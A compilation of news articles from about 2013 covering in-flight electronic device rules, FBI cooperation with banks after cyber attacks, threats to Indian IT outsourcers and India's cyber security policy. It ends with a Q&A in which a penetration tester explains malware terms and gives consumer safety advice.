Airlines such as Delta and Alaska Air Group Inc. (ALK) have used the FAA guidelines to allow their pilots to carry Apple iPads to replace paper charts and manuals. McCaskill and others have used that as an example of why passengers should be allowed to use tablet computers during landing and takeoff.
One difference is that airlines don’t purchase tablet models that use connections through wireless phone networks. Similar devices used by passengers haven’t been tested for safety in the passenger compartment, Carson said. Plus, there’s no guarantee passengers will put the devices into airplane mode or the devices haven’t been damaged, he said.
“Something a passenger brings in, you don’t know if it fell in a mud puddle or they put a bigger battery in,” he said.
The RTCA group recommended against allowing passengers to use devices during taxi, landing and takeoff, Carson said.
The Association of Flight Attendants, the U.S.’s largest union for those workers, told the FAA last year that electronic devices should be stowed during those critical phases of flight, just as bags and purses must be.
Any decision should be based on science, not on politics or passengers’ desires to stay connected, John Cox, a former airline pilot who is chief executive officer of the Washington-based consulting firm, Safety Operating Systems, said in an interview.
“The question is: Do we want to do aviation safety based on lack of testing and certification standards?” Cox said.
To contact the reporter on this story: Alan Levin in Washington at alevin24@bloomberg.net

FBI says more cooperation with banks key to probe of cyber attack

WASHINGTON: The FBI last month gave temporary security clearances to scores of US bank executives to brief them on the investigation into the cyber attacks that have repeatedly disrupted online banking websites for most of a year. 

Bank security officers and others were brought to more than 40 field offices around the country to join a classified video conference on "who was behind the keyboards," Federal Bureau of Investigation Executive Assistant Director Richard McFeely told the Reuters Cybersecurity Summit on Monday. 

The extraordinary clearances, from an agency famed for being close-mouthed even among other law enforcement agencies, reflect some action after years of talk about the need for increased cooperation between the public and private sectors on cybersecurity. 

The attacks, which have been ascribed by US intelligence officials to Iran, are seen as among the most serious against US entities in recent years. McFeely declined to discuss details of the investigation, including what the banks had been told and whether Iran was behind the attacks. 

Banks have spent millions of dollars to get back online and make sure they can stay online. JP Morgan Chase & Co, Bank of America, Wells Fargo, Citigroup and others have been affected. 

McFeely said the one-day secrecy clearances are part of a broader effort by the FBI to communicate more with victims of cybercrime, some of whom feel that cooperating with federal authorities carries too much risk of exposure to investor and media scrutiny. 

A February executive order from President Barack Obama called for expedited security clearances. 

McFeely, who began overseeing FBI cyber and criminal cases last year, said the agency was changing its approach after being "terrible" in the past about keeping targeted companies informed of progress in investigations. "That's 180 degrees from where we are now," McFeely said at the summit, held at the Reuters office in Washington. 

The FBI is working harder at securing international help in combating cybercrime and sabotage, but also needs dramatic gestures, such as espionage arrests of hackers from rival countries, to convince US companies to be more open about their losses, he said. 

On the international front, the FBI and Department of Homeland Security have notified 129 other countries about 130,000 Internet protocol addresses that have been used in the banking attacks. Many of the computers involved in the attacks were infected by viruses before being directed to attack banking websites, and the bulletins have helped other countries to clean some of the computers, FBI officials said. 

National Security Agency Director Keith Alexander and other officials have said that the massive theft of intellectual property by China and other countries amounts to the largest transfer of wealth in history. Individual companies, however, have rarely admitted material losses. 

McFeely said that part of the problem was that companies have been frustrated at the extreme rarity of overseas arrests or other signs of tangible progress in nascent international talks over the issue. Even some defense contractors contacted by the FBI after breaches are reluctant to share information with agents, he said. 

But McFeely said that some indictments have been issued under seal and that arrests would follow, perhaps when hackers identified by name travel outside their home countries. "The first time we bring someone in from out of the country in handcuffs, that's going to be a big deal," McFeely said.

IT services companies under attack from cyber crooks

MUMBAI: Information technology services companies, including Indian outsourcers, are increasingly coming under attack from global cyber-crime rings seeking access to valuable data of clients, typically those belonging to the financial services industry. This was highlighted by the recent $45-million (Rs 247 crore) ATM heist involving two Gulf-based banks, where the first security breach happened at Pune-based payments processor ElectraCard Services.

For the first time, the Indian IT services industry, which earns a significant portion of its revenues from banks and financial services clients, was the top targeted sector in India in 2012, according to security software maker Symantec, which published the latest edition of its Internet Security Threat Report last week.

Another security solutions company, Kaspersky, also highlighted IT services as one of the top four sectors in the cross-hairs of hackers.

"It is no longer a question of hackers showing off. Now the goal is to steal information and profit from it," said Dinesh Pillai, CEO at Mahindra Special Services Group, which specialises in corporate security risk consulting. According to Symantec, globally, data breach in the IT sector has nearly doubled from 2.7% of all breaches in 2011 to 5% in 2012. "Today we are seeing large call centres coming to us and saying 'can you break into computers, manipulate employees, whatever, but we need to know where the flaws are. Because it's only a matter of time before someone gets penalied'," Pillai said.

India's $76-billion (Rs 4.2 lakh crore) software export sector is also taking steps to protect itself ahead of a comprehensive data security law that Europe is enacting, which could cost them as much as 2% of sales for any data breach.

Technology services companies were reluctant to discuss what challenges they faced or whether there had been an increase in security incidents. WiproBSE -0.13 %, the country's third-largest software exporter, said it was arming itself with predictive analytics technology to be able to respond to internal and external threats in real time. InfosysBSE 0.48 % said it had "a robust information security framework" that was periodically reviewed and audited internally and jointly with the clients, but said it "cannot share these details externally".

TCS, Cognizant and HCL TechnologiesBSE -1.46 % did not reply to emails seeking their views.

Kamlesh Bajaj, chief executive at Data Security Council of India, an industry initiative to ensure that robust security practices are adopted by companies in the sector, said IT companies typically adopted standards acceptable in their clients' countries.

"When we analyse security measures, we find that companies like Genpact, TCSBSE 0.42 % and Infosys have stronger security measures in place than the captives of foreign companies," Bajaj said. "Indian BPOs don't even let their employees access Gmail because that might hurt the security of the system."

Senior industry executives said it was not just about IT services companies, but a case of cyber crime increasing in general. "Breaches may happen, but they are tiny in number compared with the number of attacks," said Som Mittal, president of Nasscom, which represents India's $108-billion ( .`5.9 lakh crore) IT indus-try. "The recent incident should be seen as a one-off case, even as the country and the industry continue to strengthen capabilities to thwart cyber attacks and cyber crimes that are rising globally," he said, referring to the ATM heist.

Among financial services clients of the Indian IT sector, American Express declined comment while JPMorgan, Ameriprise and Citigroup did not reply to emailed questionnaires.

The Union Government of India on 8 May 2013 approved a National Cyber Security Policy

New Delhi, May 9: The government approved the National Cyber Security Policy, on Wednesday, that aims to create a secure computing environment in the country and build capacities to strengthen the current set up with focus on manpower training. The Cabinet Committee on Security (CCS) approved the policy which stresses on augmenting India's indigenous capabilities in terms of developing the cyber security set up. "CCS met today and approved the National Cyber Security Policy, which sets a road map for strengthening cyber security of the country by building capacities in the country, training manpower, etc," a source said after the meeting. A senior official in the Department of Information Technology said the policy strives for a secure computing environment and seeks to build adequate trust and confidence in electronic transactions. "This policy caters for the whole spectrum of ICT users and providers including small and home users, medium and large enterprises and government and non-government entities," the official added. It aims to create a cyber security framework that will address all related issues over a long period. The framework will lead to specific actions and programmes to enhance the security posture of country's cyber space. Besides, cyber security intelligence forms an integral component to be able to anticipate attacks and quickly adopt counter measures. PTI

Q&A with a hacker

There are a lot of issues to cover when talking about computer security - and it is important to get a few terms out of the way first.

Any programme that is designed to make your computer do something you don't want it to is malware. This can range from programmes that damage your computer, to ones that can steal your personal data giving hackers the ability to do things like access your credit card and bank account details.

Adware is a form of malware floods your computer with advertising.

A botnet is a form of malware that allows a hacker to take control of your computer to do things like repeatedly visit websites to shut them down (Known as a DOS or denial of service attack) or send emails your contact list in the hopes of making people who trust you click on something less than trustworthy.

Trojans are programmes which are designed to look attractive on the surface, like a really nice looking poker game, but actually exist to load malware onto your computer.

Social engineering attacks are essentially where hackers turn con-artist and instead of trying to crack your computer's security, try to trick you into giving up information that they can then use to access your system.

Phishing is a form of social engineering attack in that it works by creating a website to look like an online vendor or banking website so that you end up giving it your details without the hacker having to actually break through any security measures you may have. This is why you get all those emails from banks you don't actually bank with, or claiming you have a refund from SARS.

Q: How did you get into hacking?

A: I was always interested in hacking and the concept of 'ethical hacking'. I actually began my career with the end goal of becoming an ethical hacker or a 'whitehat' hacker. I educated myself around different security and network technologies from various different vendors. I got certifications and achieved practical working experience in all the mayor security controls and also various operating systems for the likes of Windows, Linux, Unix and even some others.

I wanted to know exactly how these systems work and how administrators are defending these systems, thus giving me the 'background' knowledge of the best way to attack these systems. After 13 years in the IT Security industry, from working as a Linux/Windows support engineer, firewall administrator to a security architect, I finally became a security consultant doing penetration testing.

Q: What exactly is ethical hacking?

A: Ethical Hacking also known as Penetration Testing, is attacking a system on behalf of the company that owns that system, using the same methods, techniques and tools that are used by malicious hackers also known as 'blackhat' hackers, but in a controlled manner with a professional services wrapper around it.

Q: Is there such a thing as perfect computer security?

A: No such thing exists, but we need to strive to be as close to perfect as possible, using various security controls and being as proactive as possible.

Q: How prevalent is hacking on mobile devices in South Africa?

A: Mobile devices are being targeted more and more by criminals. The reason for example is credit cards are harder to clone, since the implementation of 'chip and pin' technology, so criminals are focusing on easier targets. According to Trustwave’s Global Security Report, the most attacked targets are web and mobile applications. The report also stated that a 400% growth of mobile malware was seen in 2012.

Q: Is South African law and law enforcement taking hacking seriously enough?

A: Yes, I believe so. For example, more law enforcement personnel are being deployed to monitor social media. Also there are companies that are very serious about security that are working closely with law enforcement to combat cybercrime.

Q: Have any mutations of Stuxnet hit mobile devices?

A: Stuxnet was designed to target and damage a certain type of industrial equipment used by the Iranian nuclear program. Many Stuxnet mutations and variant are seen across the web; so it’s reasonable to say it is not a question of will it hit mobile devices it’s when.

Q: What are the warning signs for phishing attacks?

A: Phishing attacks can be emails, text messages or phone calls from unknown sources, claiming to be a legitimate source, for example a bank or well-known company. They usually ask you to provide or verify your password or account details. Warning signs to look out for:

• Warning! Your account will be deleted if you don’t reply within 10 days
• Dear Bank Account Holder – a general, rather than specific, greeting
• A greeting packed full of errors is also a big warning sign – Accountt holder needing pdate of Pasword!
• There is no contact information or a signature

Q: Recently the game Natural Selection 2 had to deactivate a lot of Steam keys, costing the developers about $30 000, due to unethical vendors. Is this something that is going to become more of a risk on mobile devices in future?

A: This is definitely possible, as all the mobile applications stores are not controlled and governed in the same manner or with the same attentiveness. It is a lot easier for unethical vendors to sell compromised or fraudulent applications on a mobile application store with lesser security controls.

Q: A lot of malware comes in the form of Trojans, what warning signs should consumers look out for to avoid them?

A: Treat all unsolicited emails, especially from unknown senders, with caution and never click any links in these emails. Be careful when downloading executable or zip files from the Internet or via email. Many browsers and anti-virus products will warn you when you attempt to visit a website that my be harmful, avoid visiting these websites.

Q: Does adware actually make the advertisers any money?

A: There are accusations that many advertisers work directly with adware companies, even if they claim to be unaware of this.

Q: A lot of hacking is done through social engineering, where hackers use publicly available information in order to get access to computers (such as using information available on Facebook in order to work out the answer to the user’s security question) – what would you suggest users do to reduce the risk?

A: Use a strong password; make sure your password is complicated. Choose a password you have not used before. Use 'a pass phrase' rather than just passwords, and make sure it contains a mixture of numbers, letters and special characters. Enable security notifications that will send you an email every time you login or when there are any changes to your account. As for security questions, make sure they can’t be easily guessed or researched.

Q: In the same vein, a lot of corporate hacking works through social engineering attacks where hackers get information through simply asking workers, how can companies train their workers better to avoid falling for this?

A: Security awareness training is essential for employees, as it is a fact that they are often seen as the company’s weakest link. This security awareness training should cover things like for example not to give your corporate password out to anyone. Makes sure your employee’s understand that their username and password is their own confidential information, and that no one at the company will ask for their password either via a phone call or an email.

Q: What tools would you suggest for users who have been infected with malware who want to get rid of it?

A: There are various tools that can be used to firstly detect, and then try to remove malware from an infected PC. Particular tools is difficult to recommend, as they can differ depending on the operating system the PC is running and type of malware that the PC is infected with. What I can recommend is to make sure that all the infections have actually been removed, that is no easy task. This can be accomplished using your anti-virus software, or get support from you company’s IT department or computer supplier.

Q: Botnets often turn computers into zombie slaves in order to launch DOS and spam attacks on third parties – at what point does one figure stuff it and use the universal zombie repellent (AKA a shotgun to the hard drive)?

A: LOL, I like your zombie analogy. If your defences are in place, and all you security controls in affect, then you are on the right track. Your security posture can further more be tested and improved with proactive security test, also known as Penetration Testing. Even though it almost seems like the aged old battle of good vs. evil, we have to keep fighting the good fight.